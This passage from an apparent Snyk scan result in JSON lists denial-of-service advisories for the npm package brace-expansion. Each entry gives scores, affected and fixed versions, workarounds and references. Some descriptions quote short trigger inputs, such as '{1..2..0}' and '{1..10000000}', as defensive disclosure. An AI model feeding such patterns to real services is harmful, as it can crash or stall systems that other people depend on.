"from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- 